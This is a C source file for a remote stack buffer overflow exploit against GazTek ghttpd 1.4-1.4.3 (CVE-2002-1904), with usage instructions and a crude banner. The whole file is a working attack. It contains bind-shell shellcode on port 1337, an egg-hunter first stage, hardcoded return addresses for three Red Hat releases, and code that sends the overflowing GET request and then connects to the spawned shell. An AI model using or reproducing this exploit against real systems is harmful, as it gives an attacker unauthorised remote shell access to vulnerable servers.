/*
 * Private Exploit !!! 
 * CVE-2002-1904 GazTek ghttpd 1.4 - 1.4.3 remote stack overflow exploit
 * The original private exploit code was written in 2002 and was patched in 2026.
 * Original code by : Antonius (w1sdom) - bluedragonsec.com - github.com/bluedragonsecurity
 * compile : gcc -o exploit exploit.c 
 * run : ./exploit <ip address> <port> <target>
 * e.g : 
 * ./exploit 192.168.0.1 80 3
 * ./exploit 127.0.0.1 80 1
 *
 * target(s) :
 * - 1 : redhat 7.1
 * - 2 : redhat 7.2
 * - 3 : redhat 7.3
 * (c) solhack 2002-now - all rights reserved
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>

static const int total_payload = 324;
/*
87 bytes private bind shell 1337 shellcode for x86 linux
this shellcode is used in many of our private exploits
(c) solhack - sons of liberty
*/
unsigned char code[] =
"\x31\xdb\xf7\xe3\x52\x43\x53\x6a\x02\xb0\x66\x89\xe1\xcd\x80"
"\x89\xc6\x43\x52\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51"
"\x56\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xd1\xe3\x52\x56\x89\xe1"
"\xcd\x80\xb0\x66\x43\x52\x52\x56\x89\xe1\xcd\x80\x93\x6a\x02"
"\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x52\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\xeb\xb4";

/* first stage payload 29 bytes, wisdomAA */
char first_stage[] =
"\xeb\x16\x58\x40\x81\x78\xf8\x77\x69\x73\x64\x75\xf6"
"\x81\x78\xfc\x6f\x6d\x41\x41\x75\xed\xff\xe0\xe8\xe5"
"\xff\xff\xff";

void banner() {
   printf(
    "\n8===o 8===o 8===o 8===o 8===o 8===o BIG DICK 8===o 8===o 8===o 8===o 8===o 8===o\n"
    "    CVE-2002-1904 GazTek ghttpd 1.4 - 1.4.3 remote stack overflow exploit                      \n"
    "    private exploit ! don't share !!!                  										\n"			
    "    The original private exploit code was written in 2002 and patched in 2026				    \n"
    "    code by : Antonius (w1sdom) - bluedragonsec.com    										\n"
    "    https://github.com/bluedragonsecurity              										\n"
    "    (c) solhack (solhack.ath.cx)- 2002-forever         										\n"
    "\n8===o 8===o 8===o 8===o 8===o 8===o  BIG DICK 8===o 8===o 8===o 8===o 8===o 8===o\n\n");
}

void usage() {
printf(
    "\n\trun : ./exploit <ip address> <port> <target> \n"
    "\te.g :                                          \n"
    "\t./exploit 192.168.0.1 80 1                     \n"
    "\t./exploit 127.0.0.1 80 3                       \n"
    "\t                                               \n"
    "\ttarget(s) :                                    \n"
    "\t- 1 : redhat 7.1                               \n"
    "\t- 2 : redhat 7.2                               \n"
    "\t- 3 : redhat 7.3                               \n\n"); 
}

void shell(char *ip, int port) {
    int n, s;
    struct sockaddr_in sa;
    char buf[4096];
    fd_set fds;

    s = socket(AF_INET, SOCK_STREAM, 0);
    sa.sin_family = AF_INET;
    sa.sin_port = htons(port);
    inet_aton(ip, &sa.sin_addr);
    if (connect(s, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
        perror("[-] exploit failed !");
        return;
    }
    printf("[*] connected to %s:%d\n", ip, port);
    write(1, "# ", 2);
    while (1) {
        FD_ZERO(&fds);
        FD_SET(s, &fds);
        FD_SET(0, &fds);
        select(s + 1, &fds, NULL, NULL, NULL);
        if (FD_ISSET(s, &fds)) {
            n = read(s, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(1, buf, n);
            write(1, "# ", 2);
        }
        if (FD_ISSET(0, &fds)) {
            n = read(0, buf, sizeof(buf));
            if (n <= 0) 
                break;
            write(s, buf, n);
        }
    }
    close(s);
}

static int exp_connect(const char *host, int port) {
	struct sockaddr_in sa;
	struct hostent *h;
	int fd;

	h = gethostbyname(host);
	if (!h) {
		fprintf(stderr, "[-] resolve failed: %s\n", host);
		return -1;
	}
	fd = socket(AF_INET, SOCK_STREAM, 0);
	if (fd < 0)
		return -1;
	memset(&sa, 0, sizeof(sa));
	sa.sin_family = AF_INET;
	sa.sin_port = htons(port);
	memcpy(&sa.sin_addr, h->h_addr_list[0], h->h_length);

	if (connect(fd, (struct sockaddr *)&sa, sizeof(sa)) < 0) {
		close(fd);
		return -1;
	}

	return fd;
}

static void exp_payload(char *buf, unsigned int eip, int target) {
	memset(buf, '\x90', 190);
	memcpy(buf+190, &eip, 4);
	memset(buf+194, '\x90', 130);
	if (target == 1) {
		/* redhat 7.1 */
		memcpy(buf+200, code, 87);
	}
	if (target == 2 || target == 3) {
		/*  redhat 7.2  & redhat 7.3 */
		memcpy(buf, "wisdomAA", 8);
		memcpy(buf + 8, code, 87);
		memcpy(buf + 200, first_stage, 29);
	}
	buf[total_payload] = '\0';
}

int main(int argc, char **argv) {
	char payload[total_payload + 1];
	char request[total_payload + 16];
	int port, fd, target = 1;
	unsigned int eip = 0x1337;
	
	/*
	targets : 
	1 = redhat 7.1
	2 = redhat 7.2
	3 = redhat 7.3
	*/
	banner();
	if (argc < 3) {
		usage();
		return 1;
	}
	port = (argc >= 3) ? atoi(argv[2]) : 80;
	target = atoi(argv[3]);
	switch(target) {
		case 1:
		/* call esp from libc-2.2.2.so (redhat 7.1) */
		eip = 0x4004a4e7;
		break;
		case 2:
		/* call esp from libc-2.2.4.so (redhat 7.2) */
		eip = 0x4013d7e0;
		break;
		case 3:
		/* call esp from libc-2.2.5.so (redhat 7.3) */
		eip = 0x420311c6;
		break;
	}
	printf("[*] ip : %s:%d\n", argv[1], port);
	fd = exp_connect(argv[1], port);
	if (fd < 0) {
		fprintf(stderr, "[-] connect failed\n");
		return 1;
	}
	printf("[+] connected\n");
	exp_payload(payload, eip, target);
	snprintf(request, sizeof(request), "GET /%s\r\n\r\n", payload);
	printf("\n8===o 8===o 8===o 8===o 8===o 8===o 8===o 8===o 8===o sending my big dick 8===o 8===o 8===o 8===o 8===o 8===o\n");
	printf("\n%s\n", request);
	printf("\ndick's len : %d\n", (int)strlen(request));
	printf("\n8===o 8===o 8===o 8===o 8===o 8===o 8===o 8===o 8===o sending my big dick 8===o 8===o 8===o 8===o 8===o 8===o\n");
	send(fd, request, strlen(request), 0);
	printf("[+] sent %d bytes via GET\n", (int)strlen(request));
	close(fd);
	sleep(1);
    shell(argv[1], 1337);

	return 0;
}
